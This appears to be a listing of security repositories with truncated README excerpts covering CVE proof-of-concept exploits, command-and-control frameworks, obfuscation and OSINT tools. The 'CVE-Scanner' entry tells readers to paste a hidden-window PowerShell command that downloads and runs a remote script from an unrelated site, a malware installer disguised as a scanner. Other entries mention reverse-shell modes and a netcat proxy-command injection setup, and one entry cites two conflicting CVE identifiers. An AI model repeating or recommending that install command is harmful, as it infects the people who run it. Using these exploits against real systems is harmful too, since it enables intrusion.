Invoke-DOSfuscation

Invoke-DOSfuscation v1.0 Introduction Invoke-DOSfuscation is a PowerShell v2.0+ compatible cmd.exe command obfuscation framework. White paper: https://www.fireeye.com/blog/threat-research/2018/03/dosfuscation-exploring-obfuscation-and-detection-techniques.html Background Over the past several yea...

CVE-2023-51385_test

Verify CVE-2023-51385 First, add the following content to /.ssh/config host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Command injection exists in the .gitmodules file statement url = ssh://echo helloworld cve.txtfoo.example.com/bar After configuration, execute the...

CVE-2019-0232

CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...

CVE-2024-7399-POC

CVE-2024-7399 Exploit for CVE-2024-7399. More details can be found here: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Usage: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py...

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

just wait and see Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality web/includes/downloadfunctions.php. Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of escapeshellarg. An attacker who can...

cve-2021-4034

CVE-2021-4034 this tool use for pkexec single command execute POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from 8.8.8.8: icmpseq=1...

CVE-2026-73570

CVE-2026-73570 — Zimbra ZCS SNMP Notification RCE exploit PoC Unauthenticated Remote Code Execution via OS Command Injection in the Zimbra Collaboration Suite SNMP notification handler. Overview Field| Value ---|--- CVE| CVE-2026-73570 CVSS 3.1| 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L CWE|...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/OTHER Scanner & Exploiter. Install 1. Press WIN + R 2. Copy and paste the code below and press enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Restart your PC Usage 1. open C...

CVE-2019-0232

CVE-2019-0232 — Apache Tomcat CGI Servlet RCE Educational PoC for authorized CTF / penetration testing only. Running this against systems you do not own or have explicit written permission to test is illegal. Vulnerability Overview CVE-2019-0232 is a Remote Code Execution vulnerability in Apache...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection A vulnerability, which was classified as very critical, was found in Vmware Workspace ONE Access and Identity Manager. Affected component is Template Handler. Reference: https://vuldb.com/?id.196644 Usage:...

azureOutlookC2

Azure Outlook C2 Azure Outlook Command & Control that uses Microsoft Graph API for C2 communications & data exfiltration. Remotely Control a compromised Windows Device from your Outlook Mailbox. Creators: Bobby Cooke @0xBoku & Paul Ungur @C5pider CTI Threat update 02/13/22 Elastic Security Labs h...

CVE-2026-2035703-x300

CVE-2026-108576: Tozed ZLT X300 5G CPE — Remote Root Code Execution via SDR Rogue Base Station Status: Published — coordinated disclosure via CISA ICS and CERT/CC Discovered: 2026-08-08 Researcher: Muhammad Nadeem Danish danish1162 CVE ID: CVE-2026-108576 assigned by VulDB CNA, published on cve.o...

CVE-2021-41773

CVE-2021-41773 Go language poc&exp project. Disclaimer: This project comes from the author's daily study notes. Do not use related technologies and tools for illegal testing. The author shall not be liable for any adverse consequences arising therefrom. Usage: ./main -u Single URL ./main -u -c...

fence

Fence wraps commands in a sandbox that blocks network access by default and restricts filesystem operations based on configurable rules. It's most useful for running semi-trusted code package installs, build scripts, CI jobs, unfamiliar repos with controlled side effects, and it can also compleme...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 command injection. The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized. Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2 PoC Star...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – OpenSSH SCP Command Injection Vulnerability Detection Script About CVE-2020-15778 is a command injection vulnerability discovered in the scp utility provided by OpenSSH versions ≤ 8.3p1. The issue allows an attacker to execute arbitrary commands on the client system if a crafted...

reconspider

Most Advanced Open Source Intelligence OSINT Framework ReconSpider ReconSpider is most Advanced Open Source Intelligence OSINT Framework for scanning IP Address, Emails, Websites, Organizations and find out information from different sources. ReconSpider can be used by Infosec Researchers,...

ysoserial

ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Description Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections 3.x and...

C2-Blockchain

C2-Blockchain This is a C2 Implemented over Ethereum Smart Contracts based on Ropsten TestNet Server To read more about how we made this poc please refer to the series here. We have Explained everything from introduction of blockchain to Using smart contracts over python Installation Note:- This ...

CVE-2026-40176

CVE-2026-40176 — Composer Perforce Driver Command Injection Proof of Concept A self-contained, OOP-style PHP proof of concept that demonstrates and differentially verifies a command-injection vulnerability in Composer's Perforce repository driver. The PoC runs the same malicious composer.json...